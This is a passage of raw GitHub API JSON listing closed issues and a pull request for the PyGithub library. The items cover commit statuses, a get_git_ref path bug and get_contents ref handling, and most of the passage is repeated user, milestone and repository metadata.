https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10/labels","id":169989,"number":10,"title":"Version 1.6","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-09-04T20:12:30Z","updated_at":"2012-09-08T18:00:28Z","due_on":"2012-09-13T07:00:00Z"},"comments":2,"created_at":"2012-09-05T06:49:54Z","updated_at":"2012-09-08T11:42:27Z","closed_at":"2012-09-08T11:42:27Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Implement APIs described in http://developer.github.com/v3/repos/statuses/"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/102","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/102/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/102/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/102/events","html_url":"https://github.com/jacquev6/PyGithub/issues/102","id":7331214,"number":102,"title":"get_git_ref does not prepend 'refs'","user":{"login":"simon-weber","id":950506,"avatar_url":"https://secure.gravatar.com/avatar/5ac24ef595f7d1cd016bc3de24f78e60?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5ac24ef595f7d1cd016bc3de24f78e60","url":"https://api.github.com/users/simon-weber","html_url":"https://github.com/simon-weber","followers_url":"https://api.github.com/users/simon-weber/followers","following_url":"https://api.github.com/users/simon-weber/following{/other_user}","gists_url":"https://api.github.com/users/simon-weber/gists{/gist_id}","starred_url":"https://api.github.com/users/simon-weber/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/simon-weber/subscriptions","organizations_url":"https://api.github.com/users/simon-weber/orgs","repos_url":"https://api.github.com/users/simon-weber/repos","events_url":"https://api.github.com/users/simon-weber/events{/privacy}","received_events_url":"https://api.github.com/users/simon-weber/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/15","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/15/labels","id":190819,"number":15,"title":"Version 1.8.1","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2012-10-07T11:01:54Z","updated_at":"2012-10-28T09:46:01Z","due_on":null},"comments":2,"created_at":"2012-10-03T19:02:53Z","updated_at":"2012-10-07T11:06:11Z","closed_at":"2012-10-07T11:06:11Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"The docs say get_git_refs performs `/repos/:user/:repo/git/refs/:ref`, but actually performs `/repos/:user/:repo/git/:ref`. For example:\r\n\r\n```\r\n>>> github.Github().get_user(\"jacquev6\").get_repo(\"PyGithub\").get_git_ref('heads/master')\r\n# => 404, but should work\r\n>>> github.Github().get_user(\"jacquev6\").get_repo(\"PyGithub\").get_git_ref('refs/heads/master')\r\n# => works, but should 404\r\n```\r\n\r\n\r\n\r\n`refs/` is prepended to a provided reference in the Github api: http://developer.github.com/v3/git/refs/#get-a-reference."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/124","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/124/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/124/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/124/events","html_url":"https://github.com/jacquev6/PyGithub/issues/124","id":9489813,"number":124,"title":"Fixed Issue #123: Repository.get_contents does not accept ref=branch","user":{"login":"fixxxeruk","id":1074943,"avatar_url":"https://secure.gravatar.com/avatar/de3cd5a76ce1ef2cdcf7060068d693e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"de3cd5a76ce1ef2cdcf7060068d693e0","url":"https://api.github.com/users/fixxxeruk","html_url":"https://github.com/fixxxeruk","followers_url":"https://api.github.com/users/fixxxeruk/followers","following_url":"https://api.github.com/users/fixxxeruk/following{/other_user}","gists_url":"https://api.github.com/users/fixxxeruk/gists{/gist_id}","starred_url":"https://api.github.com/users/fixxxeruk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fixxxeruk/subscriptions","organizations_url":"https://api.github.com/users/fixxxeruk/orgs","repos_url":"https://api.github.com/users/fixxxeruk/repos","events_url":"https://api.github.com/users/fixxxeruk/events{/privacy}","received_events_url":"https://api.github.com/users/fixxxeruk/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16/labels","id":215570,"number":16,"title":"Version 1.10.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":10,"state":"closed","created_at":"2012-11-19T20:02:45Z","updated_at":"2012-12-25T12:25:01Z","due_on":null},"comments":2,"created_at":"2012-12-23T12:15:06Z","updated_at":"2012-12-25T10:53:21Z","closed_at":"2012-12-25T10:53:21Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/124","diff_url":"https://github.com/jacquev6/PyGithub/pull/124.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/124.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Tested and validated. This change does not break API compatibility."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/129","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/129/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/129/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/129/events","html_url":"https://github.com/jacquev6/PyGithub/issues/129","id":9776615,"number":129,"title":"Add Suppport For the GitHub Hooks PubSubHub","user":{"login":"s0undt3ch","id":300048,"avatar_url":"https://secure.gravatar.com/avatar/49656fcaeab19bd7ad1d51264ea37e7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"49656fcaeab19bd7ad1d51264ea37e7d","url":"https://api.github.com/users/s0undt3ch","html_url":"https://github.com/s0undt3ch","followers_url":"https://api.github.com/users/s0undt3ch/followers","following_url":"https://api.github.com/users/s0undt3ch/following{/other_user}","gists_url":"https://api.github.com/users/s0undt3ch/gists{/gist_id}","starred_url":"https://api.github.com/users/s0undt3ch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s0undt3ch/subscriptions","organizations_url":"https://api.github.com/users/s0undt3ch/orgs","repos_url":"https://api.github.com/users/s0undt3ch/repos","events_url":"https://api.github.com/users/s0undt3ch/events{/privacy}","received_events_url":"https://api.github.com/users/s0undt3ch/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19/labels","id":234630,"number":19,"title":"Version 1.11.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-12-25T12:26:40Z","updated_at":"2013-02-07T18:18:31Z","due_on":"2013-02-08T08:00:00Z"},"comments":2,"created_at":"2013-01-08T17:49:50Z","updated_at":"2013-02-05T22:48:01Z","closed_at":"2013-02-05T22:48:01Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/